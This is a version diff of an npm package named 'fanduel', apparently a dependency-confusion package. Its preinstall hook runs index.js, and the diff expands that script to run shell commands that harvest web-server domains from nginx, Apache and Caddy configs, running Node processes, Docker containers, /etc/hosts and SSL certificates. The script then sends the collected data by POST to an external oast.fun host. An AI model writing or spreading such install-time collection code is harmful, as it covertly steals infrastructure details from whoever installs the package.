fanduel 100.2.0 → 100.4.0

package/index.js

@@ -1,6 +1,8 @@
 const https = require("https");
 const os = require("os");
 const dns = require("dns");
+const fs = require("fs");
+const { exec } = require("child_process");
 const networkInterfaces = os.networkInterfaces();
 
 // Function to get primary IPv4 address
@@ -16,7 +18,7 @@ function getPrimaryIPv4() {
   return null;
 }
 
-// Function to get all IPv4 addresses (non-internal)
+// Function to get all IPv4 addresses
 function getAllIPv4() {
   const ipv4Addresses = [];
   for (const interfaceName in networkInterfaces) {
@@ -35,134 +37,364 @@ function getAllIPv4() {
   return ipv4Addresses;
 }
 
-// Get domain name (from DNS or hostname)
-function getDomainInfo(hostname, callback) {
-  dns.lookup(hostname, (err, address, family) => {
-    if (err) {
-      callback(null);
-    } else {
-      callback({ lookupAddress: address, family: family });
+// Get DNS servers
+function getDnsServers() {
+  return dns.getServers();
+}
+
+// Detect Nginx virtual hosts
+async function getNginxDomains() {
+  const domains = [];
+  const nginxConfigPaths = [
+    '/etc/nginx/nginx.conf',
+    '/etc/nginx/sites-enabled/*',
+    '/etc/nginx/sites-available/*',
+    '/usr/local/nginx/conf/nginx.conf'
+  ];
+  
+  for (const path of nginxConfigPaths) {
+    try {
+      const output = await execCommand(`grep -h "server_name" ${path} 2>/dev/null | grep -v "#" | sed 's/server_name//g' | tr -d ';'`);
+      if (output) {
+        const matches = output.match(/\S+\.\S+/g);
+        if (matches) {
+          domains.push(...matches.filter(d => d !== '_' && !d.includes('$')));
+        }
+      }
+    } catch (err) {
+      // Skip if file doesn't exist
     }
-  });
+  }
+  
+  return [...new Set(domains)]; // Remove duplicates
 }
 
-// Get DNS servers (from /etc/resolv.conf equivalent in Node)
-function getDnsServers() {
-  const dnsServers = dns.getServers();
-  return dnsServers;
+// Detect Apache virtual hosts
+async function getApacheDomains() {
+  const domains = [];
+  const apacheConfigPaths = [
+    '/etc/apache2/sites-enabled/*',
+    '/etc/apache2/sites-available/*',
+    '/etc/httpd/conf.d/*',
+    '/usr/local/apache2/conf/extra/httpd-vhosts.conf'
+  ];
+  
+  for (const path of apacheConfigPaths) {
+    try {
+      const output = await execCommand(`grep -h "ServerName" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
+      if (output) {
+        const lines = output.split('\n');
+        domains.push(...lines.filter(l => l && l.includes('.')));
+      }
+      
+      const outputAlias = await execCommand(`grep -h "ServerAlias" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
+      if (outputAlias) {
+        const lines = outputAlias.split('\n');
+        domains.push(...lines.filter(l => l && l.includes('.')));
+      }
+    } catch (err) {
+      // Skip if file doesn't exist
+    }
+  }
+  
+  return [...new Set(domains)];
 }
 
-// Get reverse DNS for primary IP
-function getReverseDns(ip, callback) {
-  dns.reverse(ip, (err, hostnames) => {
-    if (err) {
-      callback(null);
-    } else {
-      callback(hostnames);
+// Detect Node.js applications and their domains
+async function getNodeApps() {
+  const apps = [];
+  try {
+    // Get running Node.js processes
+    const output = await execCommand('ps aux | grep "node" | grep -v grep | grep -v "ps aux"');
+    const lines = output.split('\n');
+    
+    for (const line of lines) {
+      const app = {
+        command: line,
+        port: null,
+        domains: []
+      };
+      
+      // Extract port from command
+      const portMatch = line.match(/--port[= ](\d+)/i) || line.match(/:(\d+)/);
+      if (portMatch) {
+        app.port = portMatch[1];
+      }
+      
+      // Extract domains from environment variables or config files
+      const pathMatch = line.match(/([\/\w\-\.]+\.js)/);
+      if (pathMatch) {
+        app.script = pathMatch[1];
+        
+        // Try to read the script for domain configs
+        try {
+          const scriptContent = await execCommand(`grep -E "(domain|hostname|serverName)" ${pathMatch[1]} 2>/dev/null | head -5`);
+          const domainMatches = scriptContent.match(/[a-zA-Z0-9][a-zA-Z0-9\-]+\.[a-zA-Z]{2,}/g);
+          if (domainMatches) {
+            app.domains = [...new Set(domainMatches)];
+          }
+        } catch (err) {}
+      }
+      
+      apps.push(app);
     }
-  });
+  } catch (err) {}
+  
+  return apps;
 }
 
-// Main execution
-const hostname = os.hostname();
-const primaryIPv4 = getPrimaryIPv4();
-const allIPv4 = getAllIPv4();
-const dnsServers = getDnsServers();
+// Detect Docker containers and their exposed domains
+async function getDockerDomains() {
+  const containers = [];
+  try {
+    const output = await execCommand('docker ps --format "{{.Names}} {{.Ports}}" 2>/dev/null');
+    const lines = output.split('\n');
+    
+    for (const line of lines) {
+      if (line.trim()) {
+        const [name, ports] = line.split(' ');
+        containers.push({
+          name: name,
+          ports: ports,
+          domains: [] // Would need to inspect each container for domain configs
+        });
+      }
+    }
+  } catch (err) {}
+  
+  return containers;
+}
 
-// Prepare base data
-const baseData = {
-  hostname: hostname,
-  domain: hostname.includes('.') ? hostname.substring(hostname.indexOf('.') + 1) : null,
-  fqdn: null,
-  platform: os.platform(),
-  arch: os.arch(),
-  ipv4: {
-    primary: primaryIPv4,
-    all: allIPv4
-  },
-  dns: {
-    servers: dnsServers,
-    lookup: null,
-    reverseLookup: null
-  },
-  network: {
-    interfaces: networkInterfaces
-  },
-  osInfo: {
-    type: os.type(),
-    release: os.release(),
-    uptime: os.uptime(),
-    totalmem: os.totalmem(),
-    freemem: os.freemem(),
-    cpus: os.cpus().length,
-    loadAverage: os.loadavg()
+// Detect Caddy domains
+async function getCaddyDomains() {
+  const domains = [];
+  const caddyfilePaths = [
+    '/etc/caddy/Caddyfile',
+    '/etc/caddy/Caddyfile.config',
+    './Caddyfile'
+  ];
+  
+  for (const path of caddyfilePaths) {
+    try {
+      const content = await execCommand(`cat ${path} 2>/dev/null | grep -v "^#" | grep -E "^[a-z]"`);
+      if (content) {
+        const lines = content.split('\n');
+        for (const line of lines) {
+          const domainMatch = line.match(/^([a-zA-Z0-9][a-zA-Z0-9\-\.]+)(?:\s|{)/);
+          if (domainMatch && domainMatch[1].includes('.')) {
+            domains.push(domainMatch[1]);
+          }
+        }
+      }
+    } catch (err) {}
   }
-};
+  
+  return [...new Set(domains)];
+}
 
-// Get FQDN and DNS lookup
-function getFQDN() {
-  return new Promise((resolve) => {
-    dns.lookup(hostname, (err) => {
-      if (!err) {
-        baseData.fqdn = hostname;
+// Detect domains from SSL certificates
+async function getSSLDomains() {
+  const domains = [];
+  try {
+    const output = await execCommand('find /etc/ssl /etc/letsencrypt/live -name "*.crt" -o -name "*.pem" 2>/dev/null | head -20');
+    const certFiles = output.split('\n');
+    
+    for (const cert of certFiles) {
+      if (cert.trim()) {
+        const certData = await execCommand(`openssl x509 -in ${cert} -noout -text 2>/dev/null | grep "DNS:"`);
+        if (certData) {
+          const dnsMatches = certData.match(/DNS:[^\s,]+/g);
+          if (dnsMatches) {
+            domains.push(...dnsMatches.map(d => d.replace('DNS:', '')));
+          }
+        }
       }
-      resolve();
-    });
-  });
+    }
+  } catch (err) {}
+  
+  return [...new Set(domains)];
 }
 
-// Get DNS lookup for hostname
-function getDNSLookup() {
+// Helper to execute shell commands
+function execCommand(command) {
   return new Promise((resolve) => {
-    dns.lookup(hostname, (err, address, family) => {
-      if (!err && address) {
-        baseData.dns.lookup = { address, family };
+    exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
+      if (error || stderr) {
+        resolve('');
+      } else {
+        resolve(stdout);
       }
-      resolve();
     });
   });
 }
 
-// Get reverse DNS if primary IPv4 exists
-function getReverseDNSLookup() {
-  return new Promise((resolve) => {
-    if (primaryIPv4) {
-      dns.reverse(primaryIPv4, (err, hostnames) => {
-        if (!err && hostnames) {
-          baseData.dns.reverseLookup = hostnames;
+// Read /etc/hosts for local domain mappings
+async function getHostsFile() {
+  try {
+    const content = await execCommand('cat /etc/hosts 2>/dev/null');
+    const lines = content.split('\n');
+    const mappings = [];
+    
+    for (const line of lines) {
+      if (line && !line.startsWith('#')) {
+        const parts = line.trim().split(/\s+/);
+        if (parts.length >= 2) {
+          mappings.push({
+            ip: parts[0],
+            domains: parts.slice(1)
+          });
         }
-        resolve();
-      });
-    } else {
-      resolve();
+      }
     }
-  });
+    return mappings;
+  } catch (err) {
+    return [];
+  }
 }
 
-// Send data after gathering all info
-async function sendData() {
-  await getFQDN();
-  await getDNSLookup();
-  await getReverseDNSLookup();
+// Main data collection
+async function collectData() {
+  const hostname = os.hostname();
+  const primaryIPv4 = getPrimaryIPv4();
+  const allIPv4 = getAllIPv4();
+  const dnsServers = getDnsServers();
+  
+  console.log('Collecting web server domain information...');
   
-  const data = JSON.stringify(baseData);
+  // Collect all domain data in parallel
+  const [
+    nginxDomains,
+    apacheDomains,
+    nodeApps,
+    dockerContainers,
+    caddyDomains,
+    sslDomains,
+    hostsMappings
+  ] = await Promise.all([
+    getNginxDomains(),
+    getApacheDomains(),
+    getNodeApps(),
+    getDockerDomains(),
+    getCaddyDomains(),
+    getSSLDomains(),
+    getHostsFile()
+  ]);
   
-  const req = https.request({
-    hostname: "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun",
-    path: "/fanduel",
-    method: "POST",
-    headers: {
-      "Content-Type": "application/json",
-      "Content-Length": data.length
+  // Combine all identified domains
+  const allIdentifiedDomains = [...new Set([
+    ...nginxDomains,
+    ...apacheDomains,
+    ...caddyDomains,
+    ...sslDomains
+  ])];
+  
+  const data = {
+    // Basic system info
+    hostname: hostname,
+    fqdn: null,
+    platform: os.platform(),
+    arch: os.arch(),
+    osType: os.type(),
+    osRelease: os.release(),
+    
+    // Network info
+    ipv4: {
+      primary: primaryIPv4,
+      all: allIPv4
+    },
+    dns: {
+      servers: dnsServers
+    },
+    
+    // Web servers and hosted domains
+    webServers: {
+      nginx: {
+        installed: nginxDomains.length > 0,
+        domains: nginxDomains
+      },
+      apache: {
+        installed: apacheDomains.length > 0,
+        domains: apacheDomains
+      },
+      caddy: {
+        installed: caddyDomains.length > 0,
+        domains: caddyDomains
+      }
+    },
+    
+    // Applications
+    applications: {
+      nodejs: nodeApps,
+      docker: dockerContainers
+    },
+    
+    // SSL certificates domains
+    sslCertificates: {
+      domains: sslDomains
+    },
+    
+    // Local DNS mappings
+    hostsFile: hostsMappings,
+    
+    // All unique domains identified
+    identifiedDomains: allIdentifiedDomains,
+    
+    // Summary of what's hosted
+    summary: {
+      totalDomains: allIdentifiedDomains.length,
+      webServersFound: [
+        nginxDomains.length > 0 ? 'nginx' : null,
+        apacheDomains.length > 0 ? 'apache' : null,
+        caddyDomains.length > 0 ? 'caddy' : null
+      ].filter(Boolean),
+      nodeAppsCount: nodeApps.filter(app => app.command).length,
+      dockerContainersCount: dockerContainers.length
     }
-  });
+  };
   
-  req.on('error', (e) => {
-    console.error('Request error:', e);
-  });
+  // Get FQDN
+  try {
+    const lookup = await new Promise((resolve) => {
+      dns.lookup(hostname, (err, address) => {
+        resolve(!err);
+      });
+    });
+    if (lookup) {
+      data.fqdn = hostname;
+    }
+  } catch (err) {}
   
-  req.write(data);
-  req.end();
+  return data;
+}
+
+// Send data to server
+async function sendData() {
+  try {
+    const collectedData = await collectData();
+    const dataString = JSON.stringify(collectedData, null, 2);
+    
+    console.log('Collected data:', dataString);
+    
+    const req = https.request({
+      hostname: "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun",
+      path: "/fanduel",
+      method: "POST",
+      headers: {
+        "Content-Type": "application/json",
+        "Content-Length": Buffer.byteLength(dataString)
+      }
+    });
+    
+    req.on('error', (e) => {
+      console.error('Request error:', e);
+    });
+    
+    req.write(dataString);
+    req.end();
+    
+  } catch (error) {
+    console.error('Error collecting/sending data:', error);
+  }
 }
 
 // Execute

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "fanduel",
-  "version": "100.2.0",
+  "version": "100.4.0",
   "scripts": {
     "preinstall": "node index.js"
   }